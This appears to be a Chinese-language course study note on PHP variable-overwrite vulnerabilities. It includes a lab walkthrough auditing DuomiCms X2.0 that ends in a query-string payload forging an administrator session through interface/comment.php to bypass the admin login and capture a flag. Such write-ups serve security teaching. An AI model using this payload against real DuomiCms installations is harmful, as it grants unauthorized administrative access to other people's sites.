掌控安全學(xué)習(xí)-覆蓋變量

知識(shí)梳理

1. 變量覆蓋漏洞

變量覆蓋指的是用的傳參值替換程序原有的變量值
一般變量覆蓋漏洞需要結(jié)合程序的其它功能來(lái)實(shí)現(xiàn)完整的攻擊。變量覆蓋漏洞大多數(shù)由函數(shù)使用不當(dāng)導(dǎo)致,$$使用不當(dāng),extract()函數(shù)使用不當(dāng),parse_str()函數(shù)使用不當(dāng),import_request_variables()使用不當(dāng),開啟了全局變量注冊(cè)等。

2. $$

$$這種寫法稱為可變變量,一個(gè)可變變量獲取了一個(gè)普通變量的值作為這個(gè)可變變量的變量名

3. extract()

extract() 函數(shù)從數(shù)組中將變量導(dǎo)入到當(dāng)前的符號(hào)表。
該函數(shù)使用數(shù)組鍵名作為變量名,使用數(shù)組鍵值作為變量值。針對(duì)數(shù)組中的每個(gè)元素,將在當(dāng)前符號(hào)表中創(chuàng)建對(duì)應(yīng)的一個(gè)變量。
該函數(shù)返回成功設(shè)置的變量數(shù)目。

4.parse_str()

parse_str函數(shù)的作用就是解析字符串到變量中,直接覆蓋掉已有變量
注意:如果未設(shè)置 array 參數(shù),由該函數(shù)設(shè)置的變量將覆蓋已存在的同名變量。

5. import_request_variables()

import_request_variables—將 GET/POST/Cookie 變量導(dǎo)入到全局作用域中
import_request_variables()函數(shù)就是把GET、POST、COOKIE的參數(shù)注冊(cè)成變量,用在register_globals被禁止的時(shí)候

6. Session和cookie

客戶端瀏覽器訪問(wèn)服務(wù)器的時(shí)候,服務(wù)器把客戶端信息以某種形式記錄在服務(wù)器上。這就是Session??蛻舳藶g覽器再次訪問(wèn)時(shí)只需要從該Session中查找該客戶的狀態(tài)就可以了。
區(qū)別在于Session是記錄在服務(wù)端的,而Cookie是記錄在客戶端的

7. Session的生命周期

Session生成后,只要用戶繼續(xù)訪問(wèn),服務(wù)器就會(huì)更新Session的最后訪問(wèn)時(shí)間,并維護(hù)該Session。用戶每訪問(wèn)服務(wù)器一次,無(wú)論是否讀寫Session,服務(wù)器都認(rèn)為該用戶的Session“活躍(active)”了一次。

8.代碼審計(jì)流派

  • 通讀全文[要審計(jì)的代碼的全文][需要大量時(shí)間]
  • 危險(xiǎn)函數(shù)定位法 [mysqli_query](推薦)
  • 動(dòng)態(tài)追蹤 [可以對(duì)代碼執(zhí)行下斷點(diǎn)],依靠phpstrom + Xdebug

靶場(chǎng)

http://59.63.200.79:8010/abc/upload/

image
  • 下載(DuomiCms X2.0進(jìn)行代碼審計(jì)

  • 進(jìn)行危險(xiǎn)函數(shù)定位$$
image

在upload/duomiphp/common.php文件中,有如下可能存在$$變量覆蓋的代碼

  • 查看源碼進(jìn)行分析
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
  • 定位_RunMagicQuotes()函數(shù)
function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

該函數(shù)本質(zhì)上類似魔術(shù)引號(hào)

  • 從上向下查看代碼發(fā)現(xiàn)只要進(jìn)入以下循環(huán),變量覆蓋代碼會(huì)被執(zhí)行
foreach($_REQUEST as $_k=>$_v)
{
    if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
    {
        exit('Request var not allow!');
    }
}
$_REQUEST as $_k=>$_v 鍵值分離
strlen()用于判斷$_k是否長(zhǎng)度
m_eregi()用于判斷$_k是否包含cfg_或GLOBALS
所以只要請(qǐng)求中不包含cfg_或GLOBALS,且gat傳參和cookie傳參中有傳參名相同,就不會(huì)執(zhí)行exit(),會(huì)執(zhí)行到變量覆蓋代碼段。
  • 全局搜索那些文件引用了common.php

/admin/login.php中引用了

image

  • 審計(jì)/admin/login.php
require_once(dirname(__FILE__).'/../duomiphp/common.php');
require_once(duomi_INC."/check.admin.php");

后臺(tái)管理的登錄頁(yè)面同時(shí)引用了check.admin.php,該文件處于/duomiphp/目錄下。

  • 審計(jì)/duomiphp/check.admin.php

發(fā)現(xiàn)里面開啟了session,這意味著session可能會(huì)和Cookie捆綁,也意味著我們?nèi)绻梢詡卧旃芾韱T當(dāng)session就可能登錄到管理員后臺(tái)。

image
//保持用戶的會(huì)話狀態(tài)
    //成功返回 1 ,失敗返回 -1
    function keepUser()
    {
        if($this->userID!=""&&$this->groupid!="")
        {
            global $admincachefile;

            $_SESSION[$this->keepUserIDTag] = $this->userID;
            $_SESSION[$this->keepgroupidTag] = $this->groupid;
            $_SESSION[$this->keepUserNameTag] = $this->userName;

            $fp = fopen($admincachefile,'w');
            fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
            fclose($fp);
            return 1;
        }
        else
        {
            return -1;
        }
    }

保持會(huì)話需要三個(gè)參數(shù)keepUserIDTag、keepgroupidTag、keepUserNameTag

    var $userName = '';
    var $userPwd = '';
    var $userID = '';
    var $adminDir = '';
    var $groupid = '';
    var $keepUserIDTag = "duomi_admin_id";
    var $keepgroupidTag = "duomi_group_id";
    var $keepUserNameTag = "duomi_admin_name";

發(fā)現(xiàn)$groupid是有規(guī)律的
/admin/admin_manager.php定義

function getManagerLevel($groupid)
{
    if($groupid==1){
        return "系統(tǒng)管理員";
    }else if($groupid==2){
        return "網(wǎng)站編輯員";
    }else{
        return "未知類型";
    }
}
  • 登陸自建網(wǎng)站后臺(tái),獲取 $_SESSION

使用die(var_dump($_SESSION));,在我們自己搭建當(dāng)環(huán)境下測(cè)試看看,當(dāng)管理員登錄后,$_SESSION會(huì)時(shí)什么樣的。

function keepUser()
    {
        if($this->userID!=""&&$this->groupid!="")
        {
            global $admincachefile;
            $_SESSION[$this->keepUserIDTag] = $this->userID;
            $_SESSION[$this->keepgroupidTag] = $this->groupid;
            $_SESSION[$this->keepUserNameTag] = $this->userName;
            die(var_dump($_SESSION));
            $fp = fopen($admincachefile,'w');
            fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
            fclose($fp);
            return 1;
        }
        else
        {
            return -1;
        }
    }
image
登陸成功后的session值
array(5) {
  ["duomi_ckstr"]=>
  string(4) "edtt"
  ["duomi_ckstr_last"]=>
  string(0) ""
  ["duomi_admin_id"]=>
  string(1) "1"
  ["duomi_group_id"]=>
  string(1) "1"
  ["duomi_admin_name"]=>
  string(5) "admin"
}

偽造管理員session傳參

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
duomi_ckstr是驗(yàn)證碼,沒啥用

必須要先開啟session_start(),在引用commmon.php才會(huì)造成變量覆蓋

  • 搜索先開啟session并在后面引用了commmon.php的文件

搜索后發(fā)現(xiàn)/interface/comment.php頁(yè)面符合條件

image
  • 靶場(chǎng)傳參
interface/comment.php?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

在訪問(wèn)后臺(tái)登陸
http://59.63.200.79:8010/abc/upload/admin/

image

直接登陸后臺(tái);得到flag{nOthIng_fIag}

image
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容